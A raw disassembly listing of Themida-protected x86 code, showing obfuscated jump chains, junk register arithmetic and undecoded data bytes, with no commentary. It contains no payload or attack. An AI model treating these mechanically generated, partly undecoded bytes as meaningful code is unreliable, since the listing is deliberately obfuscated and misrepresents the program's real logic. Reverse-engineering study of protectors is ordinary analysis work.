; ---------------------------------------------------------------------------


loc_56782C:				; CODE XREF: Themida_:00568C77j
		pop	esi
		and	eax, ebx
		jmp	loc_5742A1
; ---------------------------------------------------------------------------
		dd 2C7835Ah, 31243C33h,	0F7E9243Ch
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567843:				; CODE XREF: Themida_:005685AAj
		and	edx, ebx
		pop	ebx
		shl	edx, 3
		sub	edx, 41AB7989h
		jmp	loc_5691E4
; ---------------------------------------------------------------------------


loc_567854:				; CODE XREF: Themida_:0056B419j
		add	ebx, 5D282D78h
		jmp	loc_56BC6B
; ---------------------------------------------------------------------------
aLS3		db '‹$$é3',0Ah,0
		dw 8100h
		dd 288956F2h, 5AD031DAh, 0E958C131h, 0FFFFE141h
; ---------------------------------------------------------------------------


loc_567878:				; CODE XREF: Themida_:005645E5j
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 39h
		dd 514A6E2Eh, 0F47967B9h, 5E1C131h, 2B31F181h, 61E91D86h
		dd 83000077h, 8FE904C0h, 81FFFFC8h, 4ECh, 24348900h, 42ACE954h
		dd 5E660000h, 0E9EF8166h, 66586678h, 34FFFB29h,	0EC815F24h
		dd 4, 0E9240C89h, 0FFFFBF9Ah, 24148B66h, 7B2A68h, 4F5BE900h
		dd 14890000h, 3A9EBA24h, 54014282h, 0E95A0424h,	2964h
		dd 0BB5BD66h, 66EF3166h, 0F829665Dh, 484E9h
		db 0
; ---------------------------------------------------------------------------


loc_5678FD:				; CODE XREF: Themida_:00562C5Bj
		add	esp, 4
		pop	eax
		jmp	loc_570A76
; ---------------------------------------------------------------------------
		db 68h,	0F2h, 7Dh
		dd 0C890000h, 0E9E18924h, 0FFFFE3EDh, 24048B66h, 8904EC83h
		dd 58542404h, 3A8B68h, 301CE900h, 815F0000h, 6166CEEBh
		dd 5EBC14Bh, 4A18EB81h,	0F0681203h, 8900003Ch, 0B6E9241Ch
		dd 81000042h, 213030C7h, 754FE981h, 0C330000h, 24248B24h
		dd 2896664h, 0FF8DB0E9h, 0FFBE56FFh, 1FFFFFFh, 24348BF7h
		dd 4C481h, 0DFF70000h, 0AE57C781h, 0FD89C604h, 0FFF294E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567985:				; CODE XREF: Themida_:005703C3j
		xor	edx, 0BCB0E738h
		add	ebx, edx
		pop	edx
		push	eax
		push	ebp
		jmp	loc_567E9C
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 2Dh
		dd 552E050Ah, 5F19902Dh, 0EF4056Bh, 295D2ED6h, 3DE955D8h
		dd 0FF00005Dh, 348B2434h, 62D5E924h, 0E1C10000h, 0F6C18103h
		dd 87618D1Ah, 0E9DEF7F1h, 0FFFFB9F1h
; ---------------------------------------------------------------------------


loc_5679CC:				; CODE XREF: Themida_:005712E9j
		pop	edi
		add	esp, 4
		and	edx, 73AF054Bh
		jmp	loc_56605A
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 0E950E289h, 0FFFFB1FDh, 2474FF50h, 0BFE95804h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5679F3:				; CODE XREF: Themida_:0056CC77j
		push	edx
		mov	dh, 0EEh
		jmp	loc_570B60
; ---------------------------------------------------------------------------


loc_5679FB:				; CODE XREF: Themida_:00562B81j
		mov	ecx, 24F5F5Eh
		sub	ecx, 57FC3C35h
		and	ecx, 1B1B5A99h
		and	ecx, 77F45383h
		shr	ecx, 5
		add	ecx, 7C9DFF57h
		xor	edi, ecx
		jmp	loc_56D55C
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 38AD331Dh, 5F68C781h, 34FF6AFDh, 84E95924h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A37:				; CODE XREF: Themida_:0056C3FFj
		sub	ebx, 2242207h
		mov	ecx, ebx
		pop	ebx
		push	ecx
		push	esi
		jmp	loc_5624AD
; ---------------------------------------------------------------------------


loc_567A47:				; CODE XREF: Themida_:00573E1Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6705E6Ch
		dec	eax
		not	eax
		or	eax, 2ABC28D0h
		sub	eax, 1B3171A8h
		add	eax, 751004A4h
		push	ecx
		mov	ecx, 0AA61C334h
		jmp	loc_56DDF6
; ---------------------------------------------------------------------------


loc_567A76:				; CODE XREF: Themida_:005639D5j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_56615C
; ---------------------------------------------------------------------------
		db 1
		dd 0F02159CEh, 8B2434FFh, 0C4812434h, 4, 82168h, 240C8900h
		dd 710E6853h, 39E90000h, 470000C8h, 0C052E956h,	0D528FFFFh
		dd 0CCB4505Ah, 0DFF1E9h, 0E9E08900h, 0FFFFEEC8h
; ---------------------------------------------------------------------------


loc_567AC8:				; CODE XREF: Themida_:0056C504j
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 0D1h, 0E8h, 5
		dd 3D51049h, 9063D035h,	8E69E933h, 0D2F70000h, 0B109B850h
		dd 0C2019C6Fh, 4BC18158h, 0E974A25Ch, 0FFFFF93Ah, 315DEA29h
		dd 24148BD7h, 6804C483h, 1F73h,	68241489h, 5A31h, 68240489h
		dd 3A0119B7h, 6E8C158h,	4E16BE56h, 0F03175A9h, 11BA525Eh
		dd 814A995Bh, 0FD675BEAh, 0C28179h, 0F734F71Ch,	8ABAE9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567B3A:				; CODE XREF: Themida_:00561DE0j
		xchg	eax, [esp]
		jmp	loc_560DF4
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 2C7h, 243C8700h, 48B665Ch, 0E0895024h, 0FFF629E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B59:				; CODE XREF: Themida_:00572866j
		pop	eax
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_56CB84
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 315A5D24h, 4504E9E8h, 32680000h, 0E9416861h
		dd 63B6h
; ---------------------------------------------------------------------------


loc_567B7C:				; CODE XREF: Themida_:005713C1j
		pop	ecx
		pop	ecx
		xor	ecx, 7FD23F1Dh
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, 0E0F0EFB8h
		push	edi
		mov	edi, 44471DB1h
		shl	edi, 5
		jmp	loc_567DFE
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0A9E90000h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567BAF:				; CODE XREF: Themida_:00563805j
		inc	ebx
		push	ecx
		jmp	loc_56D159
; ---------------------------------------------------------------------------
		dw 8157h
		dd 4ECh, 24248900h, 4240483h, 4C7815Fh,	81000000h, 4EFh
		dd 243C8700h, 8671E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567BDA:				; CODE XREF: Themida_:00571980j
		shr	ebp, 1
		and	ebp, 1A67F6Ch
		jmp	loc_562376
; ---------------------------------------------------------------------------
		db 68h
		dd 3CB7h, 8A38E9h, 0C895C00h, 0BCACE924h, 6FB6FFFFh, 0FDE9C6FEh
		dd 0AD000006h, 0A1668h,	240C8900h, 7456BA52h, 0EA810417h
		dd 1FA20B30h, 63F8E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567C1E:				; CODE XREF: Themida_:00568C25j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 0A0D9Eh
		xor	ebp, 2E0741BDh
		jmp	loc_562A35
; ---------------------------------------------------------------------------


loc_567C4C:				; CODE XREF: Themida_:0057300Cj
		sub	esp, 4
		jmp	loc_560ABA
; ---------------------------------------------------------------------------
		dd 104C483h, 6EEB81C3h,	58390E67h, 583BC381h, 0F3E95FDFh
		dd 810000B1h, 2F5DEAE9h, 6AE98107h, 6808DD53h, 2B20h, 0E9241489h
		dd 0FFFF95B8h, 525AD121h, 0C94CE9h
		db 0
; ---------------------------------------------------------------------------


loc_567C8D:				; CODE XREF: Themida_:0056A1E3j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564F8C
; ---------------------------------------------------------------------------
		dw 0E1B8h
		dd 89644351h, 24048BC6h, 0E904C483h, 21ACh, 5C241C33h
		dd 8B24048Fh, 0B70F2424h, 4EC83C8h, 0FFAD3FE9h,	28E2B9FFh
		dd 0C829458Ah, 0E9240C8Bh, 81E2h
; ---------------------------------------------------------------------------


loc_567CD8:				; CODE XREF: Themida_:00572CCBj
		pop	ebx
		jmp	loc_569111
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 7D634995h, 0F7F1C681h, 0F189A3FDh, 59CA895Eh, 83565F2Dh
		dd 15FB054Eh, 0D6E92996h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567CFF:				; CODE XREF: Themida_:0056988Ej
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_56D2E0
; ---------------------------------------------------------------------------
		db 51h,	88h, 0D5h
		dd 2AE9EF88h, 81FFFFF3h, 4C2h, 73B85000h, 57698B24h, 61E5B951h
		dd 0F1814C29h, 0C747B80h, 8159CF89h, 823915C7h,	0C456E971h
		dd 4890000h, 68585D24h,	5184h, 0FF242C89h, 348B2434h, 4C48324h
		dd 907E9h, 0D9F75D00h, 7B39BA52h, 0EAC12E20h, 4A89E908h
		dd 0EE090000h, 0FFEF9FE9h, 5BD801FFh, 0FFB781E9h, 243C87FFh
		dd 0C76DE9h, 2D665F00h,	216634D1h, 0C16658C7h, 0EC8307E7h
		dd 240C8904h, 6C28B966h, 1FC18166h, 0E9C16647h,	0E9416604h
		dd 0FFFF9353h, 33241C31h, 895C241Ch, 5954240Ch,	74BF68h
		dd 241C8900h, 98BF5750h, 0F7153B13h, 33EF81DFh,	8978318Ah
		dd 31355FF8h, 89729362h, 4EFAE9C3h, 4330000h, 24043124h
		dd 0E9240433h, 0FFFFA725h, 89242C89h, 4C581E5h,	81000000h
		dd 4C5h, 0A03BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567DFE:				; CODE XREF: Themida_:00567B9Bj
		and	edi, 18B15AA2h
		jmp	loc_560A23
; ---------------------------------------------------------------------------
		db 0B9h, 0A8h, 19h
		dd 53BF6E94h, 81BE6213h, 0FD5F68EFh, 1DEF816Ah,	138AD33h
		dd 0FBFCE9CFh, 815BFFFFh, 4C2h,	24148700h, 8F24248Bh, 248B2404h
		dd 0A1A5E924h, 74FFFFFFh, 148B0424h, 4C48324h, 5C24048Fh
		dd 8B240C87h, 4D22424h,	11E99C24h, 810000CCh, 4C7h, 4EF8300h
		dd 0DD33E9h
		db 0
; ---------------------------------------------------------------------------


loc_567E69:				; CODE XREF: Themida_:00567499j
		push	ebp
		pop	ecx
		pop	ebp
		or	eax, ecx
		pop	ecx
		not	eax
		jmp	loc_562276
; ---------------------------------------------------------------------------
		dw 11B7h
		dd 1BEE9h, 0E93CB600h, 0FFFFF178h, 0A755E957h, 0ADBD0000h
		dd 55674707h, 0DF43D6BDh, 0E9EA89D1h, 1A64h
; ---------------------------------------------------------------------------


loc_567E9C:				; CODE XREF: Themida_:00567990j
		mov	ebp, 4F522BBEh
		jmp	loc_5754A3
; ---------------------------------------------------------------------------


loc_567EA6:				; CODE XREF: Themida_:0056858Bj
		push	esi
		pop	edi
		pop	esi
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		not	edx
		jmp	loc_5636CA
; ---------------------------------------------------------------------------
aBWuzvs_	db 'ÂwuzVéÔ_',0
		dd 0D4E98100h, 8162BB12h, 0A3704EE9h, 0E9C10172h, 0B3C4h
		dd 71E9EE01h, 81FFFFC1h, 0C19C52C1h, 59CB893Ch,	34FFD901h
		dd 9392E924h, 81560000h, 21692434h, 815B4DDFh, 0DF2169F3h
		dd 5BDF894Dh, 0E95FFA89h, 0FFFFA9AFh
; ---------------------------------------------------------------------------


loc_567F08:				; CODE XREF: Themida_:00566118j
		pop	esp


loc_567F09:				; CODE XREF: Themida_:005687A7j
					; Themida_:0056C051j
		push	33EFh
		mov	[esp], ebx
		push	esi
		push	2FBDh
		jmp	loc_5740E7
; ---------------------------------------------------------------------------


loc_567F1C:				; CODE XREF: Themida_:00562226j
		add	esp, 4
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 0E76F9E6Eh
		add	edi, 9641E39h
		jmp	loc_569F0A
; ---------------------------------------------------------------------------


loc_567F3B:				; CODE XREF: Themida_:0056BA5Cj
		not	edx
		xor	edx, 0F544B6B6h
		jmp	loc_574AB0
; ---------------------------------------------------------------------------
		dd 53243C89h, 0FB3485BBh, 0F6BB532Bh, 894C6508h, 95A2E9DFh
		dd 0EC810000h, 4, 57242489h, 4BFh, 247C0100h, 9AE95F04h
		dd 890000C6h, 9AE959CFh, 58FFFF98h, 373B68h, 24048900h
		dd 74E7E9h, 9CD8100h, 0E95D7D7Dh, 9D93h, 56D831ADh, 0B6E9E689h
		dd 5C00008Fh, 81E68956h, 4C6h, 4EE8100h, 0E9000000h, 1224h
		dd 8757E95Ch, 515AFFFFh, 38506DB9h, 0EF18112h, 8175796Dh
		dd 73CFD9C1h, 8DC381DEh, 0E96D1337h, 0FFFFA2A8h, 0E9FFC183h
		dd 0FFFFE356h, 1ABA5256h, 0BE517623h, 0AE89DCEAh, 15AD601h
		dd 14875EF2h, 48F5C24h,	32E95C24h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568003:				; CODE XREF: Themida_:00560AC5j
		pop	ebx
		xor	edx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_56A763
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 6855E9h, 8BF98900h, 8950243Ch, 405E0h, 0C0830000h, 24048704h
		dd 47F1815Ch, 311CC471h, 8DE959C8h, 6600000Ah, 5AB050h
		dd 805866C7h, 0C7FE01C7h, 0C926E9h, 4DE95000h, 5BFFFFE9h
		dd 0E9515751h, 6ED4h, 0E924248Bh, 0FFFFBFD4h, 9D1C77FFh
		dd 4105866h, 0A2E99C24h, 89FFFF86h, 0D1B850E5h,	353B722Bh
		dd 0E17B44h, 0AD16FA0Dh, 581A3570h, 680519CCh, 2D2E531Ch
		dd 90C62B49h, 9FE9C501h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56809B:				; CODE XREF: Themida_:00568D13j
		pop	esp
		add	ebx, esi
		pop	esi
		push	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_563056
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0F8F9E924h, 0C481FFFFh, 4, 0FF8654E9h, 4C481FFh
		dd 0E9000000h, 23D5h, 81240C8Bh, 4C4h, 0D9F75E00h, 4EC81h
		dd 4890000h, 5508B824h,	54E968D5h, 560000CDh, 4BEh, 0E9F10100h
		dd 0FFFFD66Ch, 0FF2434FFh, 76E92434h, 30000043h, 30D030C2h
		dd 0F15EE9C2h, 0CB89FFFFh, 0B726859h, 3C890000h, 28BE5624h
		dd 894D5131h, 0B62AE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568126:				; CODE XREF: Themida_:00572C5Fj
		mov	bh, 0E6h
		or	dl, bh
		pop	bx
		jmp	loc_5636F3
; ---------------------------------------------------------------------------


loc_568131:				; CODE XREF: Themida_:0056E8E2j
		push	7158h
		mov	[esp], ebx
		mov	ebx, 2
		push	3695h
		mov	[esp], edi
		mov	edi, 58345AEEh
		neg	edi
		push	edi
		inc	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_564EAA
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 5Fh
		dd 0D223E9h, 7ECC000h, 5101EC80h, 0EDC04BB5h, 9EE95004h
		dd 2D00008Eh, 6E7D4425h, 0F93A8D2Dh, 0BCB95138h, 0F71A7D5Ah
		dd 43F181D1h, 68E582A5h, 5484h,	51242C89h, 2092E95Dh, 83590000h
		dd 3C8704C7h, 9308E924h, 489FFFFh, 4045B824h, 0FF2D6E81h
		dd 0E9FFFFFFh, 0FFFFF597h, 68241489h, 4, 8124148Bh, 4C4h
		dd 9FBF5700h, 4760C95Ch, 746AC781h, 0C781257Ah,	0E22580EAh
		dd 75E9FE01h, 81FFFFBAh, 2C4h, 0C0D1F600h, 0C18006E1h
		dd 0EEE9802Dh, 34FFC820h, 0C4815924h, 4, 0D99AE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56820A:				; CODE XREF: Themida_:0056C638j
		dec	ecx
		jmp	loc_56AA3F
; ---------------------------------------------------------------------------
		dd 0E981F901h, 2D0A461Bh, 0E189515Fh, 0FFD9AEE9h, 6BEB80FFh
		dd 0C380E328h, 2434FF6Bh, 0E9h,	0E9505800h, 0B2B7h, 0BA241489h
		dd 0AF04652h, 91E95556h, 0BB000077h, 4,	0FF9E3AE9h, 58C331FFh
		dd 595BDE29h, 88E9F101h, 0BE00009Eh, 16416449h,	348BF301h
		dd 4C48124h, 29000000h,	0FE015BDEh, 6449C681h, 815F1641h
		dd 4C6h, 74FF5600h, 7AE90424h, 66FFFF8Eh, 81240C8Bh, 4ECh
		dd 428BE900h, 1C890000h, 21E95524h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5682A3:				; CODE XREF: Themida_:0056BCB5j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561F3D
; ---------------------------------------------------------------------------


loc_5682AE:				; CODE XREF: Themida_:005741C6j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_569DF9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502404h, 405E0h, 0C0830000h, 24048704h, 5FF9315Ch
		dd 159CA29h, 41B1E9FAh,	0D1010000h, 4EC815Ah, 89000000h
		dd 2BD242Ch, 81000000h,	53663CC1h, 28E98156h, 0E921E453h
		dd 0B235h
; ---------------------------------------------------------------------------


loc_5682F8:				; CODE XREF: Themida_:005724A8j
		add	ebp, 4
		jmp	loc_56E906
; ---------------------------------------------------------------------------
aCaJauwaulaaSI	db 'Ðæ€Î¦€îW€î‹€íšé`‰',0
		db 0
; ---------------------------------------------------------------------------


loc_568313:				; CODE XREF: Themida_:0056DCF3j
		xchg	ebx, [esp]
		pop	esp
		push	6D64h
		mov	[esp], edx
		mov	dl, 6Dh
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 83h
		and	dl, ch
		pop	cx
		shl	dl, 4
		sub	dl, 0FFh
		push	6716h
		mov	[esp], ebx
		push	eax
		mov	ah, 0A6h
		push	cx
		jmp	loc_56ACE4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0BE1F0AEEh, 0A0F2E95Ah, 0C4810000h, 4, 401EE9h
		dd 241C8900h, 42474FFh,	24048F5Bh, 0E924248Bh, 0BDD1h
		dd 242C8B54h, 4C481h, 0C5810000h, 4, 0FF8F96E9h, 4FF56FFh
		dd 0BD555E24h, 0FFFFFFFFh, 297BE9h, 241C8900h, 3D8E68h
		dd 24248900h, 4240483h,	0BB53515Bh, 452B7650h, 0C36235B9h
		dd 0C20AE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5683BE:				; CODE XREF: Themida_:0056FAC6j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_561F81
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0D4h
		dd 8101E95Bh, 0E9D6EFEBh, 5BD93153h, 241C8B51h,	0FF87DEE9h
		dd 60E959FFh, 1000080h,	9A12E9EAh, 0C329FFFFh, 15886858h
		dd 14890000h, 0D0B95124h, 0C14DD374h, 0E94106E9h, 0C9A7h
		dd 52F1F681h, 0F0311B01h, 0D72EE95Eh, 0E95C0000h, 9E17h
		dd 9D1C77FFh, 24041958h, 82EBE99Ch, 0C483FFFFh,	0E2895204h
		dd 4C281h, 0FEE90000h, 81FFFF9Dh, 0B0589E2h, 0CC00E921h
		dd 0F75F0000h, 0F517E9DFh, 0EF81FFFFh, 3D5076EFh, 1624C781h
		dd 0D5E96117h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56845F:				; CODE XREF: Themida_:00568AB9j
		sub	ebx, 0E68E3E78h
		sub	ecx, ebx
		pop	ebx
		inc	ecx
		neg	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3B83C7EBh
		jmp	loc_561984
; ---------------------------------------------------------------------------


loc_56847E:				; CODE XREF: Themida_:00564766j
		pop	ecx
		jmp	loc_5668EA
; ---------------------------------------------------------------------------
aLIT_sK		db '‹$$‰<$T_é%Š',0
		dd 3FE9AC00h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_568497:				; CODE XREF: Themida_:00567827j
		add	al, bl
		push	dx
		mov	dh, 0C6h
		and	dh, 0D4h
		sub	dh, 36h
		jmp	loc_56900E
; ---------------------------------------------------------------------------


loc_5684A8:				; CODE XREF: Themida_:00562C32j
		add	esp, 4
		pop	ebp
		not	ebp
		xor	esi, ebp
		jmp	loc_56A796
; ---------------------------------------------------------------------------
		dd 0EEC1EED1h, 1C68108h, 81000000h, 0BD89B6C6h,	8BF101FFh
		dd 0C4832434h, 0B6BD5504h, 0C16A582Ah, 814502EDh, 69F554C5h
		dd 5DE929E5h, 2474FF51h, 48F5904h, 24248B24h, 24148966h
		dd 0E99C5066h, 0FFFF8219h
; ---------------------------------------------------------------------------


loc_5684FC:				; CODE XREF: Themida_:00564E7Dj
		xor	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 19F1708Bh
		jmp	loc_5677B2
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8100h, 55000000h, 42474FFh,	36C5E9h, 4BE00h
		dd 0F7010000h, 4BE565Eh, 1000000h, 0A5E95EF7h, 8B00005Bh
		dd 0CEE92424h, 88FFFF81h, 5BDE88C3h, 148BF588h,	4EC8124h
		dd 89000000h, 8B54241Ch, 0E952241Ch, 6452h
; ---------------------------------------------------------------------------


loc_568564:				; CODE XREF: Themida_:00568F58j
		not	eax
		shl	eax, 1
		jmp	loc_5750AC
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 8
		dd 0B933C381h, 0DD29FA12h, 4E5C15Bh, 13F4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568582:				; CODE XREF: Themida_:005687E0j
		mov	edi, 31B62D02h
		shl	edi, 7
		push	edi
		jmp	loc_567EA6
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C8704h, 241C895Ch, 0C184E9h
		db 0
; ---------------------------------------------------------------------------


loc_5685A5:				; CODE XREF: Themida_:0056DD67j
		mov	ebx, 40D00461h
		jmp	loc_567843
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	56E99C24h, 83FFFF81h, 4A6804C4h
		dd 89000077h, 0E189240Ch, 4C181h, 0E9570000h, 90BCh, 3AB68h
		dd 1B40E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5685E2:				; CODE XREF: Themida_:00561F67j
		add	edx, edi
		jmp	loc_569BC7
; ---------------------------------------------------------------------------
		db 5Eh,	53h, 68h
		dd 37461CD2h, 7E04685Bh, 14890000h, 793D6824h, 295A2CA2h
		dd 0D3F75AD3h, 0FFCF55E9h, 81E389FFh, 4C3h, 4C38100h, 87000000h
		dd 685C241Ch, 29E4h, 87240489h,	0D6F72434h, 0E9243487h
		dd 45D6h
; ---------------------------------------------------------------------------


loc_568630:				; CODE XREF: Themida_:00574F54j
		sub	eax, edi
		add	eax, 574F3EC9h
		pop	edi
		push	ecx
		push	eax
		mov	eax, 3A474069h
		shr	eax, 6
		push	3886h
		mov	[esp], ebx
		jmp	loc_56C539
; ---------------------------------------------------------------------------


loc_56864F:				; CODE XREF: Themida_:00562741j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_566E08
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 0E9h
		dd 0FFFFCA9Fh, 4C481h, 1FE90000h, 29000060h, 43E95BD9h
		dd 660000A3h, 68240C8Bh, 4C55h,	68240C89h, 146Fh, 81242489h
		dd 42404h, 3DE90000h, 280000B4h, 665966E8h, 286DB252h
		dd 148B66D0h, 0E7895724h, 4C781h, 0C7830000h, 0A9D0E902h
		dd 48FFFFFh, 0B1CE924h,	0FE010000h, 52243C8Bh, 4DBCE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5686C6:				; CODE XREF: Themida_:00570B55j
		sub	esi, ebp
		pop	ebp
		add	esi, edx
		add	esi, 1B684591h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56A39C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 65E95A54h, 50FFFF8Eh, 3DCDE9h, 429EBB00h
		dd 0F74B19D0h, 6EBC1D3h, 8107EBC1h, 73179EBh, 5BDF0100h
		dd 4EC81h, 3C890000h, 2474FF24h, 48F5F04h, 24248B24h, 6824048Bh
		dd 17D9h, 89243489h, 885DE9E6h,	0BA520000h, 458C593Ch
		dd 2264E9h, 50A0500h, 3AE9552Eh, 89FFFFF2h, 0FAE92434h
		dd 49FFFFA0h, 0DD9BC181h, 26E931E7h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56876F:				; CODE XREF: Themida_:005638CDj
		pop	esi
		jmp	loc_5640AE
; ---------------------------------------------------------------------------


loc_568775:				; CODE XREF: Themida_:0056A0ECj
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_568785:				; CODE XREF: Themida_:00560D63j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56174B
; ---------------------------------------------------------------------------


loc_568793:				; CODE XREF: Themida_:0056BF2Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_567F09
		push	dword ptr [edi+28h]
		sub	dword ptr [esp], 7BF1241Fh
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		push	esi
		push	eax
		mov	eax, 69E70409h
		not	eax
		inc	eax
		inc	eax
		sub	eax, 8FAAA147h
		mov	esi, eax
		pop	eax
		inc	esi
		push	edi
		jmp	loc_568582
; ---------------------------------------------------------------------------
aHL		db '^h>L',0
		dw 8900h
		dd 99BB241Ch, 0E95997AFh, 0FFFFE076h, 3F60E981h, 0DFE9D0D6h
		dd 0B7FFFFC6h, 0D514E9BAh, 34FFFFFFh, 51E95924h, 520000D0h
		dd 0E9EC8850h, 3152h, 8F04C483h, 0FEE92404h, 810000D4h
		dd 71681EC7h, 0E9575B6Ah, 8740h, 0DE95D54h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56883B:				; CODE XREF: Themida_:00563535j
		mov	esi, esp
		push	eax
		mov	eax, 3CF32FA9h
		push	ebx
		mov	ebx, 483C1884h
		xor	eax, ebx
		jmp	loc_563A5F
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 243C8B00h, 4C481h, 34FF0000h, 0C4835B24h
		dd 8BCF0104h, 0C483240Ch, 4EC8104h, 0E9000000h,	0FFFFB3D0h
		dd 0E90A09BBh, 5BDA8934h, 8106E2C1h, 6811B8EAh,	5AD70136h
		dd 0EF81C701h, 3DA7088h, 446BC781h, 81585AF5h, 2C7h, 243C8700h
		dd 2404285Ch, 7E63E99Ch, 0D329FFFFh, 2D65C381h,	0C3810678h
		dd 35B5677Dh, 0A43EE95Ah, 710CFFFFh, 0E951C42Ch, 0FFFFD858h
		dd 7C35C381h, 0D3013215h, 7C35EB81h, 15A3215h, 5EBE56FBh
		dd 29366249h, 98CCE9F3h, 1C8BFFFFh, 81EFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5688F6:				; CODE XREF: Themida_:0056BD32j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_572EE7
; ---------------------------------------------------------------------------
		db 87h
		dd 895C242Ch, 0EC832404h, 240C8904h, 381DE956h,	0A4680000h
		dd 0E9000044h, 0FFFF9B79h, 2220F4B9h, 59CF8961h, 5B07C781h
		dd 81474BF3h, 28AAF1C7h, 0A2F7E9CFh, 2D480000h,	4070CFFDh
		dd 0E958C109h, 830h, 0B7F4C681h, 0EA81FFF5h, 79CE4B69h
		dd 0C281F201h, 79CE4B69h, 8324348Bh, 148704C4h,	0C2095C24h
		dd 8957E2D1h, 0B95155E7h, 125042Fh, 8141D1F7h, 0B65915E1h
		dd 0CB30E926h, 0E0890000h, 3639E951h, 74FF0000h, 34FF0424h
		dd 0C0C2E924h, 0FA31FFFFh, 81243C8Bh, 4C4h, 14ED8100h
		dd 294D5415h, 6050E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5689AA:				; CODE XREF: Themida_:005647C2j
		push	esi
		jmp	loc_5758B4
; ---------------------------------------------------------------------------
aZs_0		db 'Zé=È',0
		align 2
		dw 8F54h
		dd 0BEE92404h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5689BF:				; CODE XREF: Themida_:005728C1j
		mov	ebx, [esp]
		push	ebp
